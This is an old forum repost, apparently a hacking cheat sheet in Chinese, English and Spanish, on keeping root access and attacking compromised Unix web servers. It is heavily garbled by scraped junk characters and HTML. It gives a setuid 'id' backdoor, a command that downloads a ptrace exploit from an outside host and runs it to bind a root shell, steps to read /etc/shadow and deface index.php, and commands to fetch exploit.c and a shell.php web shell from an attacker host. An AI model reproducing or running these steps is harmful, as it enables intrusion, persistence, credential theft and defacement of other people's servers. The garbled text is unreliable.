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标题: 总结UNIX成为root以后保持权限的方法 [打印本页]
作者: 韩冰    时间: 2005-2-4 23:57
标题: 总结UNIX成为root以后保持权限的方法
<><FONT color=#ff0000>by:cnbird</FONT></P>
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<>[cnbird@localhost tmp]#id</P>
. `) @4 b8 {, `4 J2 o2 [<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>+ G2 B% T  T2 |5 S
<>[cnbird@localhost tmp]#cp `which id ` .</P>$ I0 F) f6 ]. H4 q, K
<>[cnbird@localhost tmp]#chown root ./id</P>
+ i+ i0 u3 g: f<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>2 _. @" @3 a/ g, t
<>[cnbird@localhost tmp]#ls -l ./id</P>! K' N" F) s& N  y
<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
; e% }8 N$ V# G) _! A7 D<>[cnbird@localhost tmp]#exit</P>
. v7 Z4 r1 e# l: O<>[cnbird@localhost tmp]$id</P>
5 ]( f8 w2 w8 e. A0 T* Z7 w<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>' m( z; {* E1 o0 a; C2 q# [; X
<>[cnbird@localhost tmp]$./id </P>
3 H/ S; ?5 r9 v- E<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>
4 P1 c* j+ O( \8 I& I& w1 w) R<>2.利用ptrace成为root的方法</P>' f/ j# ]$ y& c  W5 a! M
<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace+ Z9 s- ^4 p# |
-&gt; Parent's PID is 2313. Child's PID is 2314.
2 x& x. P  O, @8 @-&gt; Attaching to 2315...5 N2 @8 i: A% I: s: C
-&gt; Got the thread!!: f, g. r, s; p0 v6 _& z
-&gt; Waiting for the next signal...* A! O. |" c' B+ h4 P
-&gt; Injecting shellcode at 0x4000e85d
- K0 o- e4 \+ k-&gt; Bind root shell on port 24876... =p' C/ ?6 {* Y' e5 K+ S8 ?
-&gt; Detached from modprobe thread.
5 J; D6 L, m" ^: q7 U-&gt; Committing suicide.....</P>
, U1 d% T' ?9 ?6 H- j- }, X<>[bash]# id
# R1 `$ P" r5 I0 [. I4 r0 ruid=0(root) gid=0(root) groups=0(root)</P>/ S$ [9 {- Q8 d- v# A
<>ara ver los dominios que hay en el server:, d/ x/ V) \' Y$ ~' ?4 y
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( s/ H% i' Z0 H( I+ ]4 Q/ |/ }cat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios! ^" I  H5 {9 P3 z1 @7 k) ?
cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios9 g4 j5 P- s5 O" Y6 p- [* y
cat /etc/localdomains &lt;&lt; Unicamente los dominios locales
1 O# ^$ a3 c. B. a( j+ q. }cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio
3 J! m, I1 o- P  dcat /etc/userdomains &lt;&lt; Este es el mas comun$ r" c5 S' l0 E
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<>ara ver la version de kernel:$ F- u6 S3 G4 Q! V& S
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+ }8 L2 Y1 u% A$ J0 X& s. guname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.& c4 a- J, O7 \9 ^# x6 `
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<>ara modificar un index ya existente:
7 x6 }2 z$ x& {: s) Q. _8 I- m8 y$ W% O---------------------------------------------------------
; @& D; C- O! f$ h% b; d1 Y/ Mecho "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido8 O- n0 L. N, C; r; N# l" z
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<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
0 J$ \0 S6 l0 r3 k& I9 f1 S# G---------------------------------------------------------
4 p  _& i, b+ v* p( h- rcd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit' P2 n" e( J2 Z" R+ i
cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
" ^! _8 j- V/ Lcd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"5 A1 y' X4 f, t1 E9 x( G
cd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado". + d7 ]  T: N# j
Hasta aqui termina el proceso para un exploit.$ w9 }9 H/ E& N1 e" e' a
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<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:
; Z/ d3 [, ]8 w4 s---------------------------------------------------------
. |1 K/ g+ o  u3 k! fcat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.) [0 n: Q" I6 C* h( C' R& o- u
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& \8 O/ _7 v4 n7 ^# a' Y<>Borrar un Ficher! g3 }/ Q, L, A# l
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" W0 j* T& W: x2 |2 kcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm
% i$ K) {7 k3 A& u) {+ C& a---------------------------------------------------------</P>) k6 i  c+ x* f- t% X1 W
<>Subir un ficher
: {5 D3 G5 P* Y* [  B& W---------------------------------------------------------$ |) ]8 ^- ]7 ^0 x: h1 K5 t" _1 X/ [
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>
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